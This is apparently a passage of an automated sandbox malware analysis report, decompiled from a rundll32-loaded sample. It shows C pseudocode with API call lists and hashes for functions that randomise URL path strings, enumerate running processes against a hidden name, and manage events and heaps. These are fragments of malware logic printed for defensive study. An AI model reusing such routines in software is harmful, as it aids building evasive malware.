                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: FreeSleepStringlstrlenmemcpy
                  • String ID:
                  • API String ID: 1198164300-0
                  • Opcode ID: c6f05d8f289addc9aea12067b6000c2f05652694aec5298a3b7150f8d8b2388c
                  • Instruction ID: b33a5bd2b45b19cc7a95d7de0c74cb65d02667cca3fe00dcdfd1a2d107e273ca
                  • Opcode Fuzzy Hash: c6f05d8f289addc9aea12067b6000c2f05652694aec5298a3b7150f8d8b2388c
                  • Instruction Fuzzy Hash: C8213075A00209EFDB11DFA9D9849AEBBF5FF89314B1081A9E90597300EB34EA05DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE2708 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E04BE2708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x4bea2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x4bea2f0; // 0x2e9b127b
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x4bea2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                  0x04be2710
                  0x04be2713
                  0x04be2719
                  0x04be2731
                  0x04be2733
                  0x04be2738
                  0x04be273a
                  0x04be273d
                  0x04be273f
                  0x04be2742
                  0x04be2744
                  0x04be2744
                  0x04be2746
                  0x04be2751
                  0x04be2756
                  0x04be2767
                  0x04be276f
                  0x04be2774
                  0x04be2777
                  0x04be277a
                  0x04be277c
                  0x04be277f
                  0x04be2782
                  0x04be2782
                  0x04be2785
                  0x04be2790
                  0x04be2795
                  0x04be279f

                  APIs
                  • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04BE6708,00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE2713
                  • RtlAllocateHeap.NTDLL(00000000,?), ref: 04BE272B
                  • memcpy.NTDLL(00000000,05609600,-00000008,?,?,?,04BE6708,00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE276F
                  • memcpy.NTDLL(00000001,05609600,00000001,04BE3ECE,00000000,05609600), ref: 04BE2790
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: memcpy$AllocateHeaplstrlen
                  • String ID:
                  • API String ID: 1819133394-0
                  • Opcode ID: fe55a9a21303ce2cff3cb8aff52edf60b02d341afe2860d9b0d3a20c827145f8
                  • Instruction ID: 01c33b49ca7e2d4850ae68a575bd66f58aa265c87b674366f43dba1f09b61d0b
                  • Opcode Fuzzy Hash: fe55a9a21303ce2cff3cb8aff52edf60b02d341afe2860d9b0d3a20c827145f8
                  • Instruction Fuzzy Hash: 3E1106B2A00214AFD7148A6ADC84DAE7BBEEBC4361B1501B6F404EB241E7759E0497A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE30D5 Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E04BE30D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x4bea348; // 0xa1d5a8
						_t2 = _t9 + 0x4bebe88; // 0x73617661
						_push( &_v264);
						if( *0x4bea12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}









                  0x04be30e0
                  0x04be30ea
                  0x04be30ee
                  0x04be30f8
                  0x04be3129
                  0x04be30ff
                  0x04be3104
                  0x04be3111
                  0x04be311a
                  0x04be3131
                  0x04be311c
                  0x04be3124
                  0x00000000
                  0x04be3124
                  0x04be3132
                  0x04be3133
                  0x00000000
                  0x04be3133
                  0x00000000
                  0x04be312d
                  0x04be3139
                  0x04be313e

                  APIs
                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04BE30E5
                  • Process32First.KERNEL32(00000000,?), ref: 04BE30F8
                  • Process32Next.KERNEL32(00000000,?), ref: 04BE3124
                  • CloseHandle.KERNEL32(00000000), ref: 04BE3133
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                  • String ID:
                  • API String ID: 420147892-0
                  • Opcode ID: dfb6a13a32aa72c123489f637981b47c0848d71061e6136d657659ce836f94dc
                  • Instruction ID: 094df934add9613fcc284bef4451855e1382a0634740c114bd463571e74982f7
                  • Opcode Fuzzy Hash: dfb6a13a32aa72c123489f637981b47c0848d71061e6136d657659ce836f94dc
                  • Instruction Fuzzy Hash: 00F096322001145AD720A677DC49EFB36ECDFC9315F0110E6EE45C7001EB25E96986B2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE7843 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE7843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                  0x04be784d
                  0x04be7851
                  0x04be7866
                  0x04be7868
                  0x04be786d
                  0x04be7873
                  0x04be7875
                  0x04be787a
                  0x04be7885
                  0x04be787c
                  0x04be787c
                  0x04be787c
                  0x04be787a
                  0x04be7893

                  APIs
                  • memset.NTDLL ref: 04BE7851
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 04BE7866
                  • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04BE7873
                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04BE3F34,00000000,?), ref: 04BE7885
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: CreateEvent$CloseHandlememset
                  • String ID:
                  • API String ID: 2812548120-0
                  • Opcode ID: 02269116ebca6bc84f78789b9caafba8ab9f2e25f122f490e63697794bc8df63
                  • Instruction ID: ac89243a148cdd45e2ebd687b3a74caccc8fb6a495ab4b1762a6e6e4d23d121d
                  • Opcode Fuzzy Hash: 02269116ebca6bc84f78789b9caafba8ab9f2e25f122f490e63697794bc8df63
                  • Instruction Fuzzy Hash: 9EF03AB11043086FE224AF27DC8482BBBACEBD1298B1149AEB14292511DB75A8098A60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781F1E Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04781F1E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x47841b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x47841bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x47841ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0x47841a8 = _t5;
						 *0x47841b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x47841a4 = _t6;
						if(_t6 == 0) {
							 *0x47841a4 =  *0x47841a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}










                  0x04781f1f
                  0x04781f2d
                  0x04781f33
                  0x04781f3a
                  0x04781f91
                  0x04781f91
                  0x04781f3c
                  0x04781f44
                  0x04781f51
                  0x04781f51
                  0x04781f8d
                  0x04781f8f
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04781f46
                  0x04781f4d
                  0x04781f53
                  0x04781f53
                  0x04781f58
                  0x04781f66
                  0x04781f6b
                  0x04781f71
                  0x04781f77
                  0x04781f7e
                  0x04781f80
                  0x04781f80
                  0x04781f8a
                  0x04781f4f
                  0x04781f4f
                  0x00000000
                  0x04781f4f
                  0x04781f4d

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,04781231), ref: 04781F2D
                  • GetVersion.KERNEL32 ref: 04781F3C
                  • GetCurrentProcessId.KERNEL32 ref: 04781F58
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04781F71
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: Process$CreateCurrentEventOpenVersion
                  • String ID:
                  • API String ID: 845504543-0
                  • Opcode ID: 0914738546705587ec1498556d4c85913be58cd6e70b9b1cc888316ec29de1c7
                  • Instruction ID: a8525001f4cc076a3721d82f2a752e53b20c06b8fd6a64747dd42963e47fff6d
                  • Opcode Fuzzy Hash: 0914738546705587ec1498556d4c85913be58cd6e70b9b1cc888316ec29de1c7
                  • Instruction Fuzzy Hash: A2F0A431AC53229FEB109F6CBC157D53BA1E705B11F20C51DF905DA2C0F3B998828B04
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE3230 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE3230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x4bea30c; // 0x2c8
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x4bea35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x4bea30c; // 0x2c8
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x4bea2d8; // 0x5210000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                  0x04be3230
                  0x04be3237
                  0x04be3281
                  0x04be3283
                  0x04be3283
                  0x04be323b
                  0x04be3241
                  0x04be3246
                  0x04be324a
                  0x04be3250
                  0x04be3257
                  0x00000000
                  0x00000000
                  0x04be3259
                  0x04be325e
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be325e
                  0x04be3260
                  0x04be3268
                  0x04be326b
                  0x04be326b
                  0x04be3271
                  0x04be3278
                  0x04be327b
                  0x04be327b
                  0x00000000

                  APIs
                  • SetEvent.KERNEL32(000002C8,00000001,04BE109A), ref: 04BE323B
                  • SleepEx.KERNEL32(00000064,00000001), ref: 04BE324A
                  • CloseHandle.KERNEL32(000002C8), ref: 04BE326B
                  • HeapDestroy.KERNEL32(05210000), ref: 04BE327B
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: CloseDestroyEventHandleHeapSleep
                  • String ID:
                  • API String ID: 4109453060-0
                  • Opcode ID: 5b75b025d3e05ec23308308ecb61f3f2ba734c997a88f8e522ff2523c97e376b
                  • Instruction ID: 403e260e410ed70443f2a30c312eb14654e6b4b85d605f94c4819901f806eeda
                  • Opcode Fuzzy Hash: 5b75b025d3e05ec23308308ecb61f3f2ba734c997a88f8e522ff2523c97e376b
                  • Instruction Fuzzy Hash: 62F030B5B0031197DF109B77D988AA23BECEBC8761B040291BC01EB2C3DB28EC449570
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5364 Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 50%
                  			E04BE5364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x4bea3cc; // 0x5609600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x4bea3cc; // 0x5609600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x4bea030) {
					HeapFree( *0x4bea2d8, 0, _t8);
				}
				_t13[1] = E04BE12C6(_v0, _t13);
				_t10 =  *0x4bea3cc; // 0x5609600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}










                  0x04be5364
                  0x04be5364
                  0x04be536d
                  0x04be537d
                  0x04be537d
                  0x04be5382
                  0x04be5387
                  0x00000000
                  0x00000000
                  0x04be5377
                  0x04be5377
                  0x04be5389
                  0x04be538d
                  0x04be539f
                  0x04be539f
                  0x04be53af
                  0x04be53b2
                  0x04be53b7
                  0x04be53bb
                  0x04be53c1

                  APIs
                  • RtlEnterCriticalSection.NTDLL(056095C0), ref: 04BE536D
                  • Sleep.KERNEL32(0000000A), ref: 04BE5377
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04BE539F
                  • RtlLeaveCriticalSection.NTDLL(056095C0), ref: 04BE53BB
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                  • String ID:
                  • API String ID: 58946197-0
                  • Opcode ID: f945b8ced15baed0ae5d12728153142b3319737101916090ca35a3d6005ab62b
                  • Instruction ID: 0380db8f2442338145423a13050ae83bf1ff87571c3bb9fd2545a0a6379f9bb6
                  • Opcode Fuzzy Hash: f945b8ced15baed0ae5d12728153142b3319737101916090ca35a3d6005ab62b
                  • Instruction Fuzzy Hash: 77F0DA71600241ABEB209FABDC48B263BB8EFC8345B444546F502DB262D778EC54DB35
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE607C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E04BE607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x4bea3cc; // 0x5609600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x4bea3cc; // 0x5609600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x4bea3cc; // 0x5609600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x4beb142) {
					HeapFree( *0x4bea2d8, 0, _t10);
					_t7 =  *0x4bea3cc; // 0x5609600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                  0x04be607c
                  0x04be6085
                  0x04be6095
                  0x04be6095
                  0x04be609a
                  0x04be609f
                  0x00000000
                  0x00000000
                  0x04be608f
                  0x04be608f
                  0x04be60a1
                  0x04be60a6
                  0x04be60aa
                  0x04be60bd
                  0x04be60c3
                  0x04be60c3
                  0x04be60cc
                  0x04be60ce
                  0x04be60d2
                  0x04be60d8

                  APIs
                  • RtlEnterCriticalSection.NTDLL(056095C0), ref: 04BE6085
                  • Sleep.KERNEL32(0000000A), ref: 04BE608F
                  • HeapFree.KERNEL32(00000000), ref: 04BE60BD
                  • RtlLeaveCriticalSection.NTDLL(056095C0), ref: 04BE60D2
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                  • String ID:
                  • API String ID: 58946197-0
                  • Opcode ID: 0204fd5841a0ca869abf6186dca43533b622a8fab61b33ef3f05a29b063c0b6d
                  • Instruction ID: 176375a677b9ace2ba57889a600a88b61475410373ffdfd5043b1c6b061b5ed1
                  • Opcode Fuzzy Hash: 0204fd5841a0ca869abf6186dca43533b622a8fab61b33ef3f05a29b063c0b6d
                  • Instruction Fuzzy Hash: ABF0DAB42002019BE718CF67D889A253BB9EBD8311B484046E902DF392D73CBC48DA35
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE2058 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 58%
                  			E04BE2058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E04BE33DC(_t2);
				if(_t34 != 0) {
					_t30 = E04BE33DC(_t28);
					if(_t30 == 0) {
						E04BE61DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E04BE7AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E04BE7AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                  0x04be2058
                  0x04be2062
                  0x04be2064
                  0x04be206a
                  0x04be206a
                  0x04be2073
                  0x04be2077
                  0x04be2083
                  0x04be2087
                  0x04be20fb
                  0x04be2089
                  0x04be2089
                  0x04be208d
                  0x04be2092
                  0x04be2097
                  0x04be20b1
                  0x04be20a0
                  0x04be20a0
                  0x04be20a4
                  0x04be20a7
                  0x04be20ac
                  0x04be20ac
                  0x04be20b6
                  0x04be20de
                  0x04be20e4
                  0x04be20e7
                  0x04be20b8
                  0x04be20ba
                  0x04be20c2
                  0x04be20cd
                  0x04be20d2
                  0x04be20d2
                  0x04be20ee
                  0x04be20f5
                  0x04be20f6
                  0x04be20f6
                  0x04be2087
                  0x04be2106

                  APIs
                  • lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,04BE51F7,?,?,?,?,00000102,04BE21E7,?,?,74CF81D0), ref: 04BE2064
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                    • Part of subcall function 04BE7AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04BE2092,00000000,00000001,00000001,?,?,04BE51F7,?,?,?,?,00000102), ref: 04BE7AF7
                    • Part of subcall function 04BE7AE9: StrChrA.SHLWAPI(?,0000003F,?,?,04BE51F7,?,?,?,?,00000102,04BE21E7,?,?,74CF81D0,00000000), ref: 04BE7B01
                  • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04BE51F7,?,?,?,?,00000102,04BE21E7,?), ref: 04BE20C2
                  • lstrcpy.KERNEL32(00000000,00000000), ref: 04BE20D2
                  • lstrcpy.KERNEL32(00000000,00000000), ref: 04BE20DE
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                  • String ID:
                  • API String ID: 3767559652-0
                  • Opcode ID: b11ccf67ac8ffd071cbc58d610aae9eb526019e1363c34079769e2723306cbc0
                  • Instruction ID: 8d09369c987aaf2a38437ae8fdba40a64fa082100e1b7fde6b5ff9aa51517e35
                  • Opcode Fuzzy Hash: b11ccf67ac8ffd071cbc58d610aae9eb526019e1363c34079769e2723306cbc0
                  • Instruction Fuzzy Hash: 6F21F072100215EBCB129FB6C844ABA7FBDEF85294B0480D5FC059B202DB35EA41D7A1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5DE4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE5DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E04BE33DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                  0x04be5df9
                  0x04be5dfd
                  0x04be5e07
                  0x04be5e0c
                  0x04be5e11
                  0x04be5e13
                  0x04be5e1b
                  0x04be5e20
                  0x04be5e2e
                  0x04be5e33
                  0x04be5e3d

                  APIs
                  • lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,05609270,?,04BE52D0,004F0053,05609270,?,?,?,?,?,?,04BE68B6), ref: 04BE5DF4
                  • lstrlenW.KERNEL32(04BE52D0,?,04BE52D0,004F0053,05609270,?,?,?,?,?,?,04BE68B6), ref: 04BE5DFB
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,04BE52D0,004F0053,05609270,?,?,?,?,?,?,04BE68B6), ref: 04BE5E1B
                  • memcpy.NTDLL(74CB69A0,04BE52D0,00000002,00000000,004F0053,74CB69A0,?,?,04BE52D0,004F0053,05609270), ref: 04BE5E2E
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlenmemcpy$AllocateHeap
                  • String ID:
                  • API String ID: 2411391700-0
                  • Opcode ID: b55257e67c27d02dad6db6daac2725422734c06bef0ebdac81a45ac4fd51f244
                  • Instruction ID: 98a145e0a6136f7da8d2f6b0594c5add9ce3494383253e4d05da855ad3b9d3a8
                  • Opcode Fuzzy Hash: b55257e67c27d02dad6db6daac2725422734c06bef0ebdac81a45ac4fd51f244
                  • Instruction Fuzzy Hash: E6F04F72900119BBDF11DFE9CC44CDE7BADEF482587114062ED04D7101E735EA148BA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE7563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                  Download Yara Rule
                  APIs
                  • lstrlen.KERNEL32(05609BD0,00000000,00000000,00000000,04BE3EF9,00000000), ref: 04BE7573
                  • lstrlen.KERNEL32(?), ref: 04BE757B
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • lstrcpy.KERNEL32(00000000,05609BD0), ref: 04BE758F
                  • lstrcat.KERNEL32(00000000,?), ref: 04BE759A
                  Memory Dump Source
